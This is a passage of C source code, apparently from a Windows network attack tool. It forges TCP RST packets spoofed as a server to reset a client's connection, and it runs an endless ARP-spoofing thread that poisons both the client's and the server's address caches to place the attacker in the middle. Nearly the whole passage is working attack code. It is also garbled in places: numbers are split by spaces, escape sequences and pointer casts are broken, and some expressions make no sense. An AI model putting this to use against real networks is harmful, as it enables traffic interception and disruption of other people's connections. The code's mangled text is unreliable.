try { //Check the current point to want to control the connection information of the pointer is empty if(! g_pCurrCtrlConn) leave; //allocate memory for the rst packet pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); if(! pTcpPacket) { printf("malloc error:%d\n", GetLastError()); leave; } //fill ethernet head memcpy(pTcpPacket->ehhdr. DestMAC, g_szClientSideMAC, 6); memcpy(pTcpPacket->ehhdr. SourceMAC, g_szOwnMAC, 6); pTcpPacket->ehhdr. EthernetType = htons(EPT_IP); //fil ip head pTcpPacket->iphdr. h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); pTcpPacket->iphdr. tos = 0; pTcpPacket->iphdr. total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); pTcpPacket->iphdr. ident = 1; pTcpPacket->iphdr. frag_and_flags = 0; pTcpPacket->iphdr. ttl = 1 2 8; pTcpPacket->iphdr. proto = IPPROTO_TCP; pTcpPacket->iphdr. checksum = 0; pTcpPacket->iphdr. sourceIP = g_pCurrCtrlConn->dwServerIP;//source IP address, masquerading as the server. pTcpPacket->iphdr. destIP = g_pCurrCtrlConn->dwClientIP;//receive the rst packet of the ip address //fill tcp head pTcpPacket->tcphdr. th_sport = g_pCurrCtrlConn->uServerPort;//source port number, masquerading as the server port pTcpPacket->tcphdr. th_dport = g_pCurrCtrlConn->uClientPort;//receive the rst packet of the port pTcpPacket->tcphdr. th_seq = seq;//SYN pTcpPacket->tcphdr. th_ack = ack;//ACK pTcpPacket->tcphdr. th_lenres = (sizeof(TCPHDR)/4<<4/0); pTcpPacket->tcphdr. th_flag = 4;//RST flag pTcpPacket->tcphdr. th_win = 0; pTcpPacket->tcphdr. th_urp = 0; pTcpPacket->tcphdr. th_sum = 0; //fill tcp psd head psdhdr. saddr = pTcpPacket->iphdr. sourceIP; psdhdr. daddr = pTcpPacket->iphdr. destIP; psdhdr. mbz = 0; psdhdr. ptcl = IPPROTO_TCP; psdhdr. tcpl = htons(sizeof(TCPHDR)); //calculate tcp checksum memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); pTcpPacket->tcphdr. th_sum = checksum((USHORT )szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); //calculate IP checksum pTcpPacket->iphdr. checksum = checksum((USHORT )&pTcpPacket->iphdr, sizeof(IPHDR)); //fill send buffer memset(g_lpSendPacket->Buffer, 0, 1 5 1 4); memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) { printf("Error sending the rst packets!\ n"); leave; } else printf("Send RST packet ok!\ n"); bRet = TRUE; } __finally { if(pTcpPacket) free(pTcpPacket); } return bRet; }

// //Function: calculate checksum // USHORT checksum(USHORT buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=buffer++; size -=sizeof(USHORT); } if(size ) { cksum += (UCHAR)buffer; } cksum = (cksum >> 1 6) + (cksum & 0xffff); cksum += (cksum >>1 6); return (USHORT)(~cksum); }

// //Function:implementation of ARP spoofing //1 to tell the ServerSide,ClientSide mac is ownmac //2 tells ClientSide,ServerSide the mac is ownmac // DWORD WINAPI ArpSpoofThread(LPVOID lpType) { int iType = (int )lpType; ARPPACKET ArpPacket; LPPACKET lpArpPacket; char szArpBuff[6 0];

switch(iType) { case 1: memcpy(ArpPacket. ehhdr. DestMAC, g_szServerSideMAC, 6); ArpPacket. arphdr. DestIP = g_ServerSideIP; ArpPacket. arphdr. SourceIP = g_ClientSideIP; break; case 2: memcpy(ArpPacket. ehhdr. DestMAC, g_szClientSideMAC, 6); ArpPacket. arphdr. DestIP = g_ClientSideIP; ArpPacket. arphdr. SourceIP = g_ServerSideIP; break; default: return 0; } //ethernet head memcpy(ArpPacket. ehhdr. SourceMAC, g_szOwnMAC, 6); ArpPacket. ehhdr. EthernetType = htons(EPT_ARP);//ethernet type //arp head memcpy(ArpPacket. arphdr. DestMAC, ArpPacket. ehhdr. DestMAC, 6);//dest's mac memcpy(ArpPacket. arphdr. SourceMAC, g_szOwnMAC, 6);//sender's mac ArpPacket. arphdr. HrdAddrlen = 6; ArpPacket. arphdr. ProAddrLen = 4; ArpPacket. arphdr. HrdType = htons(ARP_HARDWARE); ArpPacket. arphdr. ProType = htons(EPT_IP); ArpPacket. arphdr. op = htons(2);//arp reply

lpArpPacket = PacketAllocatePacket(); if(lpArpPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\ n"); return 0; } memset(szArpBuff, 0, sizeof(szArpBuff)); memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); PacketInitPacket(lpArpPacket, szArpBuff, 6 0); //send arp packet while(1) { if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) { printf("Error sending the arp spoof packets!\ n"); return 0; } Sleep(1 0 0 0); } return 0; }

// //Function: enter the IP for the corresponding MAC address // BOOL GetMACAddr(DWORD DestIP, char *pMAC) { DWORD dwRet; ULONG ulLen = 6, pulMac[2]; dwRet = SendARP(DestIP, 0, pulMac, &ulLen); if(dwRet == NO_ERROR) { memcpy(pMAC, pulMac, 6); return TRUE; } else return FALSE; }